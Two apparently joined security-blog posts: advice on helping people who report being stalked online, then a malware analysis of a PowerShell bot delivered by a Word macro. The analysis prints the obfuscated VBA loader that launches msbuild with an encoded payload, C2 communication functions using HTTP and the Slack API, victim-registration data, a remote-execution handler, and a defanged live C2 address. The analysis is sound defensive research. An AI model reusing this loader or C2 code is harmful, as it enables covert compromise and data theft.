A Word of Caution: Helping Out People Being Stalked Online
Jack Rhysider, of "Darknet Diaries", yesterday posted this tweet asking for ideas on how to help people who are being stalked/surveilled online. This is an issue that has come up a few times as people have reached out to us for help in the past. I would like to share a few hard-learned lessons. And please chime in with anything you have to share.
First, I think it is important to distinguish if the person reaching out is a stranger or a friend/family. In our case, it is usually a stranger. Someone who has never contacted us before. And it is very important to understand the limitations of the help you can provide.
With a stranger, you are never quite sure as to what happened in the past. The victim was often subject to prolonged abuse, and why it is easy to write them off as "crazies", it is important to understand that their perception of events can be altered. Prolonged abuse leaves marks. If a person who threatened them with harm in the past, and has in the past followed up on these threats, then they will believe that this person will also follow up on threats like "hacking them" or "surveilling them in their video cameras", even if they don't. These threats can be very debilitating to the victims. But for an outsider, it is usually impossible to convince the victim that these threats are empty. You, as an outsider, have no history with the victim while the aggressor has. Also, these victims may have been taken advantage of in the past by others who claimed to help, but either worked with the abuse or only were out for a quick buck.
And remember: One of the impossible tasks in information security is to prove that a system is not compromised.
So some of the basic lessons:
1. Figure out if law enforcement needs to be involved.
In particular, if a person is currently being threatened: Understand the limitations of what you can do. It can be difficult for a victim at times to reach out to law enforcement, and law enforcement is also not always equipped to properly deal with these issues. But insist that the victim will at least try to do so. In particular, if the victim is threatened with physical harm. If for whatever reason, law enforcement isn't an option or doesn't assist: Try to connect the victim to a local advocacy group that can provide help beyond the technical issues, and connects them to someone with experience in these cases.
2. Avoid contact in person
You probably will have the best intention. But do not visit a person you do not know at their home. In particular not alone. Just to make the point: Many years ago we had an ISC handler attempt to do so (the victim was living close by). Luckily the handler backed out last minute. The "victim" was later arrested trying to kill someone else they suggested of being involved in the plot against them (a radio host who as far as I could tell was accused by the shooter of operating mind control rays).
3. Be careful as to what technical self-help you offer
Many responses to Jack's tweet suggested books and websites that will educate about various techniques to secure your computing equipment and how to detect tools like keyloggers and network sniffers. Many of these sites offer great content. But be aware that not everybody knows what a cookie or an IP address is. Confirmation bias is a dangerous tool in the hands of an abuser who already convinced the victim that they are helpless. You may unintentionally make things worse by trying to help.
So what should you do? If this is a good friend or relative: By all means, go over, take a look at their system, try to find malware. If you do find malware: Explain to the victim what is going on. Try to find out (and this isn't easy!) if this was malware placed by a stalker or if this was "run of the mill" malware the victim inadvertently installed. If you don't find anything: Explain some safe computing tips. But please understand your limitations. Refer the victim to a local abuse hotline or group specializing in not just the technical side (e.g. Operation Safe Escape or other groups with a local presence in your area)
Here some links to organizations people recommended:
- Operation Safe Escape: https://safeescape.org/
- Coalition Against Stalkerware http://stopstalkerware.org/
- Battling Against Demeaning and Abusive Selfie Sharing https://badassarmy.org/
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|
Powershell Bot with Multiple C2 Protocols
I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:
Private Sub CommandButton1_Click() MsgBox "Thank you for your participation!" Call f332dsasad End Sub Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl) f332dsasad End Sub
This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:
Sub f332dsasad() Dim aaa As String On Error Resume Next Dim file adddsaddsasd appDataLocation = Environ("A" & "ppD" & "ata") file = appDataLocation & "\Wind" & "owsManager." & "xml" Set objFSO = CreateObject("Scripting.FileSystemObject") Set oFile = objFSO.CreateTextFile(file, True) oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name" oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory""" oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>" oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy" oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C" oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using" oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S" oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic" oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample : Task, ITask{publ" oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ" oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY" oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c" ... (stuff removed) ... oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe" oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)" oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun" oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm" oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>" oFile.Close waitTill = Now() + TimeValue("00:00:04") While Now() < waitTill DoEvents Wend aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file retVal = asd21we(aaa, 0) End Sub
Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!
Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:
Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long
The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:
$_q60 = @{}; $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA=='; $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc=';
This content is Base64 and SHA256 encrypted. Once decoded, you read this:
PS C:\Users\REM> bpf Name Value ---- ----- sleep 1 chunksleep 1 key {47, 130, 248, 76...} handlers HTTPAES256|hxxp://104[.]239[.]177[.]103:80 shell powershell maxrequestsize 24000
Another interesting array is obfuscated in the same way and discloses interesting features of the bot:
PS C:\Users\REM> doa Payload too long for slack API token channel attachments as_user text https://slack.com/api/chat.postMessage Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko The remote server returned an error: (429) Too Many Requests. thread_ts https://slack.com/api/channels.replies DNSError jobresult No response from handler None POST Authorization HTTPAES256 SLACK HTTPAES256FRONT DNSAES256 register 127.0.0.1 {"implantType":"PowerShell","localIp":" ","hostname":" ","username":" ","handler":"Multi","connectionString":" ","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w indows"} {"id":" heartbeat powershell payload command options upload download posh_in_mem reflected_assembly [bool] [int] interactive Process Exited socks tcp_fwd Not a connect Not a valid destination address Cant resolve destination address Cant connect to host Unknown socks version Tcp Connection Closed Payload type not supported: true exit Bye! configure
Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:
- HTTPAES256
- SLACK
- HTTPAES256FRONT
- DNSAES256
We can find a function for each technique in the bot. Here is the function which sends data to the C2:
function oqe($_hc8, $body) { $_l19s = $_d.handlers.split(","); $_ktk = ""; For ($i=0; $i -lt $_l19s.Length + 1; $i++) { try { $_l19 = $_l19s[$i].split("|"); if($_l19[0] -eq $_h[17]) { # "HTTPAES256" Return v1v $_l19[1] $_hc8 $body; } elseif($_l19[0] -eq $_h[18]) { # "SLACK" $trySlack = $false; Return ny4 $_hc8 $body; } elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT" Return v1v $_l19[1] $_hc8 $body $_l19[2]; } elseif($_l19[0] -eq $_h[20]){ # DNSAES256 Return r8p $_hc8 $body $_l19[1]; } } catch { if($_.Exception.message -eq 404) { throw $_; } else { $_ktk += $_h[21] + $_.Exception.message; } } } Throw $_ktk; }
Here is the function which uses Slack to exchange data with the C2:
function ny4($_hc8, $body){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; $bodyEnc = vnm $_d.key $body; $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; if($_hc8 -ne $_h[12]){ $thread_ts = $_uyx.ts; sleep -Milliseconds 500; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; if($_uyx2.messages.length -lt 2){ Sleep 4; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; } if($_uyx2.messages.length -lt 2){ throw $_h[13]; } $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; if($_yl5 -eq "404"){ throw "404"; } return ConvertFrom-Json $_yl5; } }
The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):
Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));
When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:
{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}
Note the list of available commands:
- Command (execute something)
- Upload
- Download
- Configure
- Exit
- Posh in mem
- Reflected assembly
- Interactive
- Socks (proxy)
Once registration is successful:
{ "localIp":"172.16.74.131", "sourceIp":"", "os":"windows", "hostname":"DESKTOP-2C3IQHO", "username":"REM", "handler":"Multi", "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80", "implantType":"PowerShell", "config":{}, "supportedPayloads": ["command","exit","upload","download","configure", "posh_in_mem","reflected_assembly","cd","interactive","socks" ], "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ", "createdAt":1596440810315, "lastSeen":1596440810315, "listener":"" }
Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:
} elseif ($_wxs.($_h[32]).type -eq $_h[37]) { if($_wxs.($_h[32]).($_h[34]).pipe_id){ $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; $script = [System.Text.Encoding]::ASCII.GetString($bytes); } else { $script = ""; } $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; $_yl5=""; $_e7i = Invoke-Expression $script | Out-String; ForEach ($line in $($_e7i -split $_h[21])){ $_yl5+=$line.TrimEnd() + $_h[21]; } igl $_wxs._id $_yl5 $false; }
The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!
I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!
[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments